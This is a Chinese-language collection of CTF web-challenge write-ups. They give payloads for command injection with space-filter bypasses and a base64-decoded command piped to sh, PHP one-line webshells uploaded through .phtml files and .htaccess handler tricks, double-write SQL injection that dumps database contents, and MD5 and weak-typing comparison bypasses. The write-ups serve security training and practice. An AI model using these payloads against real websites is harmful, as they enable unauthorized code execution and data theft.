目录
[GXYCTF2019]Ping Ping Ping
知识点:命令执行
绕过:
; 来拼接命令
$IFS$1 或 $IFS$9绕过空格
a=ag;b=fl;$b$a.php 绕过flag
payload:
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
base64编码绕过:
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
cat flag.php的base64编码为Y2F0IGZsYWcucGhw
echo$IFS$9Y2F0IGZsYWcucGhw的结果为Y2F0IGZsYWcucGhw
echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d的结果为cat flag.php
再加上|sh就是执行前面的cat flag.php
[极客大挑战 2019]Upload
知识点:和其他的文件上传题多了东西的就是phtml文件后缀
1.上传.phtml文件
2.改Content-Type: image/png
Content-Type: image/jpg
Content-Type: image/gif
3.加上GIF98A
4.用script标签作为一句话木马
<script language="php"> eval($_POST[1]) </script>
[极客大挑战 2019]BabySQL
知识点:双写绕过sql注入
查库名:
'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
查表名:
'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema='ctf'#
查字段名:
'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table_name='Flag'#
得到数据:
'uniunionon selselectect 1,2,group_concat(flag) frfromom ctf.Flag#
[ACTF2020 新生赛]Upload
知识点:上传,phtml文件
[极客大挑战 2019]BuyFlag
知识点:php代码审计,绕过
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
cookie中user改为1,就不是用户身份了
password=404a
money用数组绕过或科学计数法
[ACTF2020 新生赛]BackupFile
知识点:备份文件泄露,弱类型
备份文件泄露
访问index.php.bak
或者扫描一下
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
很容易判断出弱类型:
?key=123
[BJDCTF2020]Easy MD5
知识点:sql注入,md5绕过:构造md5的or使判断为真,数组,md5碰撞
据下图判断得知,要我们输入password的值其实就是在sql查询
所以我们可以构造一个md5含有or的语句,置为真:
?password=129581926211651571912466741651878684928
?password=ffifdyop
进入levels91.php
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
数组绕过:?a[]=1&b[]=2
或者MD5碰撞:?a=s878926199a&b=s155964671a
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
数组绕过,payload:POST
param1[]=1¶m2[]=2
[RoarCTF 2019]Easy Calc
知识点:php特性,php代码审计,命令执行,绕过
calc.php:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
php特性:服务器处理url的时候
变量名中有空白符->删除空白符
变量名中有特殊字符->转化为下划线
所以可以在传的参数前面加上一个空格来绕过
/
被过滤,用chr(47)绕过,代表/
用scandir列出文件
?%20num=print_r(scandir(chr(47))); #chr(47)代表/
file_get_contents读取f1agg
?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
[HCTF 2018]admin
解法1:弱口令
username:admin
password:123
[MRCTF2020]你传你🐎呢
知识点:.htaccess文件导致的文件上传漏洞
先传.htaccess文件,再传一句话木马,最后蚁剑连接
.htaccess文件:
SetHandler application/x-httpd-php
意思就是把其他类型文件当php解析
也可以这样:
AddType application/x-httpd-php .jpg
意思是把jpg格式当php解析
.htaccess
SetHandler application/x-httpd-php
image/jpeg
<?php eval($_POST[1]);?>
蚁剑连接,flag在根目录